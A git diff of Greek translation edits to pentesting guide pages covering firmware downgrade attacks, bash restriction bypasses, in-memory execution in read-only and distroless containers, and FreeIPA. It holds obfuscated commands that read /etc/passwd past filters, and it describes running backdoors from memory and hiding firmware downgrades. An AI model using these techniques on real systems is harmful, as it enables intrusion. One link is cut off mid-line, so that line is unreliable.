και το **PESecurity** για δυαδικά Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούν. ## Προσομοίωση Firmware για Δυναμική Ανάλυση -Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών αρχείων σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντοπισμό, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές. +Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντολή, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές. -### Προσομοίωση Μεμονωμένων Δυαδικών Αρχείων +### Προσομοίωση Μεμονωμένων Δυαδικών -Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του εντοπισμού και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη. +Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση της εντολής και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη. #### Παράδειγμα με Αρχιτεκτονική MIPS -Για να προσομοιωθεί ένα δυαδικό αρχείο αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή: +Για να προσομοιωθεί ένα δυαδικό αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή: ```bash file ./squashfs-root/bin/busybox ``` @@ -190,7 +190,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system #### Προσομοίωση Αρχιτεκτονικής ARM -Για τα δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση. +Για δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση. ### Πλήρης Προσομοίωση Συστήματος @@ -206,20 +206,20 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system ## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας -Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες runtime σε δυαδικά συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες. +Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες. ## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware -Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία. +Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία. ## Προετοιμασμένα OS για ανάλυση Firmware -- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα. +- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα. - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware. ## Επιθέσεις Υποβάθμισης Firmware & Ανασφαλείς Μηχανισμοί Ενημέρωσης -Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που φέρει ακόμα μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί. +Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που εξακολουθεί να φέρει μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί. Τυπική ροή επίθεσης: @@ -231,7 +231,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system * Web UI, API εφαρμογής κινητού, USB, TFTP, MQTT, κ.λπ. * Πολλές συσκευές IoT καταναλωτών εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν στην πλευρά του διακομιστή και ενεργοποιούν την ανάκτηση/αναβάθμιση. 3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που έχει διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα). -4. Προαιρετικά αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή. +4. Προαιρετικά, αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή. ### Παράδειγμα: Εκτέλεση Εντολών Μετά την Υποβάθμιση ```http @@ -253,12 +253,12 @@ firmware_v1.3.11.490_signed.bin ### Λίστα Ελέγχου για την Αξιολόγηση Λογικής Ενημέρωσης * Είναι η μεταφορά/αυθεντικοποίηση του *endpoint ενημέρωσης* επαρκώς προστατευμένη (TLS + αυθεντικοποίηση); -* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίθεσης** πριν από την αναβάθμιση; +* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίστροφης αναίρεσης** πριν από την αναβάθμιση; * Επαληθεύεται η εικόνα μέσα σε μια ασφαλή αλυσίδα εκκίνησης (π.χ. υπογραφές που ελέγχονται από κώδικα ROM); * Εκτελεί ο κώδικας του χρήστη επιπλέον ελέγχους εγκυρότητας (π.χ. επιτρεπόμενος χάρτης κατατμήσεων, αριθμός μοντέλου); -* Επαναχρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης; +* Χρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης; -> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίθεσης. +> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίστροφης αναίρεσης. ## Ευάλωτο firmware για πρακτική @@ -266,7 +266,7 @@ firmware_v1.3.11.490_signed.bin - OWASP IoTGoat - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) -- Το Damn Vulnerable Router Firmware Project +- Το Έργο Firmware Ρουτερ με Σημαντικές Ευπάθειες - [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) - Damn Vulnerable ARM Router (DVAR) - [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) diff --git a/src/linux-hardening/bypass-bash-restrictions/README.md b/src/linux-hardening/bypass-bash-restrictions/README.md index bedb23def..c42104489 100644 --- a/src/linux-hardening/bypass-bash-restrictions/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/README.md @@ -105,7 +105,7 @@ echo "ls\x09-l" | bash $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` -### Παράκαμψη της κάθετης και της οριζόντιας γραμμής +### Παράκαμψη της αντίστροφης και της κανονικής κάθετης γραμμής ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd @@ -145,7 +145,7 @@ echo ${PATH:0:1} #/ ### Builtins Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές συναρτήσεις και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο builtins για να αποκτήσετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλα** τα **builtins**, οπότε θα πρέπει να **γνωρίζετε όλες τις επιλογές σας** για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από [**devploit**](https://twitter.com/devploit).\ -Πρώτα απ' όλα ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**: +Πρώτα απ' όλα, ελέγξτε όλα τα [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Στη συνέχεια, εδώ έχετε μερικές **συστάσεις**: ```bash # Get list of builtins declare builtins @@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/ ## Space-Based Bash NOP Sled ("Bashsledding") -Όταν μια ευπάθεια σας επιτρέπει να ελέγξετε εν μέρει ένα επιχείρημα που τελικά φτάνει στο `system()` ή σε άλλο shell, μπορεί να μην γνωρίζετε την ακριβή απόσταση στην οποία η εκτέλεση αρχίζει να διαβάζει το payload σας. Οι παραδοσιακοί NOP sleds (π.χ. `\x90`) **δεν** λειτουργούν στη σύνταξη του shell, αλλά το Bash θα αγνοήσει αβλαβώς τα αρχικά κενά πριν εκτελέσει μια εντολή. +Όταν μια ευπάθεια σας επιτρέπει να ελέγξετε εν μέρει ένα επιχείρημα που τελικά φτάνει στο `system()` ή σε άλλο shell, μπορεί να μην γνωρίζετε την ακριβή απόσταση στην οποία η εκτέλεση αρχίζει να διαβάζει το payload σας. Οι παραδοσιακοί NOP sleds (π.χ. `\x90`) **δεν** λειτουργούν στη σύνταξη του shell, αλλά το Bash θα αγνοήσει αβλαβώς τα αρχικά κενά πριν εκτελέσει μια εντολή. Επομένως, μπορείτε να δημιουργήσετε ένα *NOP sled για το Bash* προσθέτοντας ένα μακρύ σύνολο κενών ή χαρακτήρων tab πριν από την πραγματική σας εντολή: ```bash @@ -333,7 +333,7 @@ bypass-fs-protections-read-only-no-exec-distroless/ - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) +- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) diff --git a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 8b6874d66..13ee8c4a7 100644 --- a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -11,7 +11,7 @@ ## σενάριο μόνο για ανάγνωση / χωρίς εκτέλεση -Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές linux που είναι τοποθετημένες με **προστασία συστήματος αρχείων μόνο για ανάγνωση (ro)**, ειδικά σε κοντέινερ. Αυτό συμβαίνει επειδή η εκτέλεση ενός κοντέινερ με σύστημα αρχείων ro είναι τόσο εύκολη όσο η ρύθμιση του **`readOnlyRootFilesystem: true`** στο `securitycontext`: +Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές linux που είναι τοποθετημένες με **προστασία συστήματος αρχείων μόνο για ανάγνωση (ro)**, ειδικά σε κοντέινερ. Αυτό συμβαίνει γιατί η εκτέλεση ενός κοντέινερ με σύστημα αρχείων ro είναι τόσο εύκολη όσο η ρύθμιση του **`readOnlyRootFilesystem: true`** στο `securitycontext`:
apiVersion: v1
 kind: Pod
@@ -26,16 +26,16 @@ securityContext:
     command: ["sh", "-c", "while true; do sleep 1000; done"]
 
-Ωστόσο, ακόμη και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα είναι ακόμα εγ writable, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**. +Ωστόσο, ακόμα και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα είναι ακόμα εγ writable, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**. > [!WARNING] -> Από την οπτική γωνία της κόκκινης ομάδας, αυτό καθιστά **περίπλοκο να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`). +> Από την προοπτική μιας κόκκινης ομάδας, αυτό καθιστά **πολύπλοκο να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`). ## Ευκολότερη παράκαμψη: Σενάρια Σημειώστε ότι ανέφερα δυαδικά αρχεία, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** εφόσον ο διερμηνέας είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **python** **script** αν το `python` είναι εγκατεστημένο. -Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε το δυαδικό σας backdoor ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να εκτελέσετε. +Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε την πίσω πόρτα σας ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να τρέξετε. ## Παράκαμψη Μνήμης @@ -43,12 +43,12 @@ securityContext: ### Παράκαμψη FD + exec syscall -Αν έχετε μερικούς ισχυρούς κινητήρες σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**. +Αν έχετε μερικές ισχυρές μηχανές σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**. -Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και b64 κωδικοποιημένο** με τις οδηγίες να **αποκωδικοποιήσετε και να αποσυμπιέσετε** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το εκτελέσετε. +Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και κωδικοποιημένο σε b64** με τις οδηγίες να **αποκωδικοποιήσετε και να αποσυμπιέσετε** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το τρέξετε. > [!WARNING] -> Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως το PHP ή το Node επειδή δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο. +> Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως η PHP ή η Node γιατί δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο. > > Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα σας επιτραπεί να το εκτελέσετε επειδή η **προστασία χωρίς εκτέλεση** θα ισχύει. @@ -72,13 +72,13 @@ ddexec.md ### MemExec -[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **τρέξετε ένα διαφορετικό δυαδικό αρχείο**, δεν χρειάζεται να επανεκκινήσετε το DDexec, μπορείτε απλά να τρέξετε το memexec shellcode μέσω της τεχνικής DDexec και στη συνέχεια να **επικοινωνήσετε με αυτόν τον δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση**. +[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **τρέξετε ένα διαφορετικό δυαδικό** δεν χρειάζεται να επανεκκινήσετε το DDexec, μπορείτε απλά να τρέξετε το memexec shellcode μέσω της τεχνικής DDexec και στη συνέχεια να **επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά για φόρτωση και εκτέλεση**. -Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά αρχεία από ένα PHP reverse shell** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). +Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά από ένα PHP reverse shell** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). ### Memdlopen -Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Θα μπορούσε να επιτρέψει ακόμη και τη φόρτωση δυαδικών αρχείων με εξαρτήσεις. +Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών** στη μνήμη για να τα εκτελέσετε αργότερα. Θα μπορούσε να επιτρέψει ακόμη και τη φόρτωση δυαδικών με εξαρτήσεις. ## Distroless Bypass @@ -86,11 +86,11 @@ ddexec.md Τα distroless containers περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία για να τρέξει μια συγκεκριμένη εφαρμογή ή υπηρεσία**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά αποκλείουν μεγαλύτερα στοιχεία όπως διαχειριστές πακέτων, shell ή συστήματα βοηθητικών προγραμμάτων. -Ο στόχος των distroless containers είναι να **μειώσουν την επιφάνεια επίθεσης των containers εξαλείφοντας περιττά στοιχεία** και ελαχιστοποιώντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν. +Ο στόχος των distroless containers είναι να **μειώσει την επιφάνεια επίθεσης των containers εξαλείφοντας περιττά στοιχεία** και ελαχιστοποιώντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν. ### Reverse Shell -Σε ένα distroless container μπορεί να **μην βρείτε καν `sh` ή `bash`** για να αποκτήσετε μια κανονική shell. Δεν θα βρείτε επίσης δυαδικά αρχεία όπως `ls`, `whoami`, `id`... όλα όσα συνήθως τρέχετε σε ένα σύστημα. +Σε ένα distroless container μπορεί να **μην βρείτε καν `sh` ή `bash`** για να αποκτήσετε μια κανονική shell. Δεν θα βρείτε επίσης δυαδικά όπως `ls`, `whoami`, `id`... όλα όσα συνήθως τρέχετε σε ένα σύστημα. > [!WARNING] > Επομένως, **δεν θα** μπορείτε να αποκτήσετε μια **reverse shell** ή να **καταγράψετε** το σύστημα όπως συνήθως κάνετε. @@ -98,14 +98,13 @@ ddexec.md Ωστόσο, αν το παραβιασμένο container τρέχει για παράδειγμα μια εφαρμογή flask, τότε το python είναι εγκατεστημένο, και επομένως μπορείτε να αποκτήσετε μια **Python reverse shell**. Αν τρέχει node, μπορείτε να αποκτήσετε μια Node rev shell, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα scripting**. > [!TIP] -> Χρησιμοποιώντας τη γλώσσα scripting, θα μπορούσατε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας. +> Χρησιμοποιώντας τη γλώσσα scripting θα μπορούσατε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας. -Αν δεν υπάρχουν **προστασίες `read-only/no-exec`**, θα μπορούσατε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας αρχεία** και να **τα εκτελέσετε**. +Αν δεν υπάρχουν **προστασίες `read-only/no-exec`**, θα μπορούσατε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας** και να τα **εκτελέσετε**. > [!TIP] -> Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες συνήθως θα υπάρχουν, αλλά θα μπορούσατε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**. - -Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε **reverse shells** γλωσσών scripting και να εκτελέσετε δυαδικά αρχεία από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). +> Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες θα υπάρχουν συνήθως, αλλά θα μπορούσατε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**. +Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε reverse shells γλωσσών scripting και να εκτελέσετε δυαδικά από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/freeipa-pentesting.md b/src/linux-hardening/freeipa-pentesting.md index b7ce39360..f8ddffd6c 100644 --- a/src/linux-hardening/freeipa-pentesting.md +++ b/src/linux-hardening/freeipa-pentesting.md @@ -4,7 +4,7 @@ ## Basic Information -Το FreeIPA είναι μια ανοιχτού κώδικα **εναλλακτική** λύση για το Microsoft Windows **Active Directory**, κυρίως για περιβάλλοντα **Unix**. Συνδυάζει έναν πλήρη **LDAP κατάλογο** με ένα MIT **Kerberos** Κέντρο Κατανομής Κλειδιών για διαχείριση παρόμοια με το Active Directory. Χρησιμοποιώντας το σύστημα **Certificate System** του Dogtag για τη διαχείριση πιστοποιητικών CA & RA, υποστηρίζει **πολλαπλούς παράγοντες** αυθεντικοποίησης, συμπεριλαμβανομένων των smartcards. Το SSSD είναι ενσωματωμένο για τις διαδικασίες αυθεντικοποίησης Unix. +Το FreeIPA είναι μια ανοιχτού κώδικα **εναλλακτική** λύση για το Microsoft Windows **Active Directory**, κυρίως για περιβάλλοντα **Unix**. Συνδυάζει έναν πλήρη **LDAP κατάλογο** με ένα MIT **Kerberos** Κέντρο Κατανομής Κλειδιών για διαχείριση παρόμοια με το Active Directory. Χρησιμοποιώντας το σύστημα **Certificate System** του Dogtag για τη διαχείριση πιστοποιητικών CA & RA, υποστηρίζει **πολλαπλούς παράγοντες** αυθεντικοποίησης, συμπεριλαμβανομένων των smartcards. Το SSSD είναι ενσωματωμένο για διαδικασίες αυθεντικοποίησης Unix. ## Fingerprints @@ -17,7 +17,7 @@ ### Binaries -Εργαλεία όπως `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, και `kvno` είναι κεντρικά για τη διαχείριση τομέων FreeIPA, χειριζόμενα τα εισιτήρια Kerberos, αλλάζοντας κωδικούς πρόσβασης και αποκτώντας εισιτήρια υπηρεσιών, μεταξύ άλλων λειτουργιών. +Εργαλεία όπως `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, και `kvno` είναι κρίσιμα για τη διαχείριση τομέων FreeIPA, την επεξεργασία εισιτηρίων Kerberos, την αλλαγή κωδικών πρόσβασης και την απόκτηση εισιτηρίων υπηρεσιών, μεταξύ άλλων λειτουργιών. ### Network @@ -29,11 +29,11 @@ ### **CCACHE Ticket Files** -Τα αρχεία CCACHE, που αποθηκεύονται συνήθως σε **`/tmp`** με δικαιώματα **600**, είναι δυαδικές μορφές για την αποθήκευση διαπιστευτηρίων Kerberos, σημαντικά για την αυθεντικοποίηση χωρίς τον απλό κωδικό πρόσβασης του χρήστη λόγω της φορητότητάς τους. Η ανάλυση ενός εισιτηρίου CCACHE μπορεί να γίνει χρησιμοποιώντας την εντολή `klist`, και η επαναχρησιμοποίηση ενός έγκυρου εισιτηρίου CCACHE περιλαμβάνει την εξαγωγή του `KRB5CCNAME` στη διαδρομή του αρχείου εισιτηρίου. +Τα αρχεία CCACHE, που αποθηκεύονται συνήθως στο **`/tmp`** με δικαιώματα **600**, είναι δυαδικές μορφές για την αποθήκευση διαπιστευτηρίων Kerberos, σημαντικά για την αυθεντικοποίηση χωρίς τον απλό κωδικό πρόσβασης του χρήστη λόγω της φορητότητάς τους. Η ανάλυση ενός εισιτηρίου CCACHE μπορεί να γίνει χρησιμοποιώντας την εντολή `klist`, 